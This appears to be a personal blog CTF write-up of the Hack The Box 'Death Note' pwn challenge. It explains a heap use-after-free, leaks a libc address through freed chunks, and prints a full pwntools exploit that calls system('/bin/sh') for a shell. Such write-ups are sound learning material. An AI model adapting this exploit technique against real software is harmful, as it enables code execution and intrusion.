CTF Binary Exploitation – Cyber Apocalypse 2024: Hacker Royale – Death Note

Hello everyone!

As I explained in the last blog entry, I have participated with my job teammates in a Hack the Box CTF, this is the link:

https://www.hackthebox.com/events/cyber-apocalypse-2024

And this is the team that we were part of:

https://ctftime.org/team/198916

This blog entry covers a Use After Free vulnerability exploitation that helped me to learn a bit about Heap Exploits in Linux.

As I’m just learning about this topic, please don’t take 100% for granted anything that I’m saying here! Also if you see any mistakes, please let me know 🙂

Binary Behaviour

First of all, I try to see what the binary does:

It has the typical structrure of a heap exploitation pwning challenge. Create entries, delete entries and check entries.

Use After Free vulnerability & Code Execution

What I did, is to create an entry that contains 4 A’s, then delete it, and the access to it. This dynamic tests were combined with some static analysis in IDA.

I see that after accessing to a deleted chunk of memory it returns some “garbage”. This looks like a Use After Free vulnerability.

This is the function that does the free:

And this is the function that tries to access to the memory address after the free:

Also, it looks that if we pass a correct memory address to the function named “_“, that we can reach by using the number 42, we can get code execution if we can pass some if/else conditions.

Exploit structure

The first step is to create a code to automate the actions using the application menu in a confortable way. Basically I’ve created 4 functions:

  • Add
  • Delete
  • Show
  • Shell

With this functions created it’s easier to continue writing our exploit. This is the initial code:

#!/usr/bin/env python3
 
from pwn import *
import struct
import sys
 
context.binary = elf = ELF('deathnote', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
 
def get_process():
    if len(sys.argv) == 1:
        return elf.process()
 
    host, port = sys.argv[1].split(':')
    return remote(host, port)

p = get_process()

def add(idx, size, content):
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'1')
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(size).encode())
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(idx).encode())
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(content).encode())

def delete(idx):
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'2')
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(idx).encode())

def show(idx):
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'3')
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(idx).encode())

def shell():
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'42')

def main():

    p.interactive()

 
if __name__ == '__main__':
    main()

Heap Memory Leak

Although that after I realized that this part was not needed, this is the first way that I’ve found to leak some program memory address.

Using the functions that I’ve just created, I create a page, after I delete it, and finally I try to show it. This will trigger the Use After Free vulnerability.

This is the python implementation:

add(1, 128, 'AAAA')
delete(1)
show(1)

Let’s check inside GDB what is this memory address. To do it, I find the Death Note binary PID and after I start GDB using that PID.

gdb ./deathnote <PID>

Then, I’m going to put a string of A’s inside the heap:

Then using the following command, I can see the mapped address spaces:

info proc mappings

As I’m interested in the heap, I will take a look to that memory region:

x/250gx 0x55648757d000

And I can find my string of A’s:

After that, I delete the page:

And I check again the heap memory… Before removing the entry we had this:

And after the free, we had this:

If you check in the screenshot above, you can see that when we free a page we are changing some A’s for the heap base memory address. Sadly leaking this address is not enough, what we need is to leak a LIBC address.

LIBC memory Leak

This part of the exploit is still some kind of black magic to me… I let you here a couple of interesting references to learn about this topic.

One is this picture:

And the other one is this link:
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc

What we are going to do for leaking a LIBC address instead of the malloc one is to create 9 chunks of 128 bytes, then delete 8 of them, and access to the 8th.

This is the code:

for i in range(8):
  add(i, 128, 'A'*4)
  print(i)

add(8, 0x18, 'X'*4)

for i in range(8):
  delete(i)
  print(i)

libc_address = get_address(7)

Also, I’ve created a function for parsing the address received:

def get_address(idx):
    show(idx)
    print(f'-------{p.recvline()}')
    #address = u64(p.recvline()[14:-1]) + b'\x00\x00\x00') # heap address leak needs 3 0's! 
    address = u64(p.recvline()[14:-1] + b'\x00\x00')
    p.info(f'Leaked memory address: {hex(address)}')
    return address

Now let’s see if this memory address belongs to LIBC… And we were right, it belongs to LIBC:

But we are somewhere around the middle of the mapped address space for LIBC. We need to know the LIBC base address to continue with our exploit.

LIBC base address

We are leaking the following memory address:

0x7f62f341ace0

Using the command “info proc mappings” in GBD we can extract the LIBC base address: (that is what we are looking for)

0x7f62f3200000

But of course this address is dynamic, and it’s going to change in every program execution. But what is not going change is the offset between the leaked address and the base address. Let’s calculate it:

libc_main_arena(leaked address) =libc_base_address + offset
offset = libc_main_arena(leaked address) - libc_base_address
offset = 0x7f62f341ace0 - 0x7f62f3200000
offset = 0x21ACE0

And we confirm that our maths are correct:

System call

To do this part we need to put a system call address in the memory, and next to it the string “/bin/sh”

This is how we can find the memory address of the system syscall:

readelf -s ../../challenge/glibc/libc.so.6 | grep system 

And here you can see the implementation of this part:

#system = glibc.sym['system']
# readelf -s ../../challenge/glibc/libc.so.6 | grep system 
system = 0x0000000000050d70
system_2 = libc_base_address+system
p.info(f'System call address: {hex(system_2)}')

add(0, 0x18, hex(libc_base_address+system))
add(1, 0x18, '/bin/sh -c "sh"\x00')
shell()

Final exploit

If we put all the parts together, the libc address leak by the exploitation of the Use After Free vulnerability, and then the use off the insecure function with the opcode 42 we obtain code execution:

And this is the whole exploit:

#!/usr/bin/env python3
 
from pwn import *
import struct
import sys
 
context.binary = elf = ELF('deathnote', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
 
def get_process():
    if len(sys.argv) == 1:
        return elf.process()
 
    host, port = sys.argv[1].split(':')
    return remote(host, port)

p = get_process()

def add(idx, size, content):
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'1')
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(size).encode())
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(idx).encode())
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(content).encode())

def delete(idx):
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'2')
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(idx).encode())

def show(idx):
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'3')
    p.sendlineafter(b'\xf0\x9f\x92\x80',  str(idx).encode())

def shell():
    p.sendlineafter(b'\xf0\x9f\x92\x80',  b'42')

def get_address(idx):
    show(idx)
    print(f'-------{p.recvline()}')
    #address = u64(p.recvline()[14:-1]) + b'\x00\x00\x00')  # heap leak needs 3 0's !!!
    address = u64(p.recvline()[14:-1] + b'\x00\x00')
    p.info(f'Leaked memory address: {hex(address)}')
    return address

def main():

    for i in range(8):
        add(i, 128, 'A'*4)
        print(i)

    add(8, 0x18, 'X'*4)

    for i in range(8):
        delete(i)
        print(i)
    
    libc_address = get_address(7)

    # I get this offset by getting the licbase address inside the debugger
    # So libc_leaked_address - libc_current_execution_address = 0x21.. offset
    libc_base_address = libc_address - 0x21ACE0
    p.info(f'Leaked memory address: {hex(libc_base_address)}')

    # readelf -s ../../challenge/glibc/libc.so.6 | grep system 
    system = 0x0000000000050d70
    system_2 = libc_base_address+system
    p.info(f'System call address: {hex(system_2)}')

    add(0, 0x18, hex(libc_base_address+system))
    add(1, 0x18, '/bin/sh -c "sh"\x00')
    shell()
    p.interactive()

if __name__ == '__main__':
    main()
This entry was posted in Exploiting and tagged , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *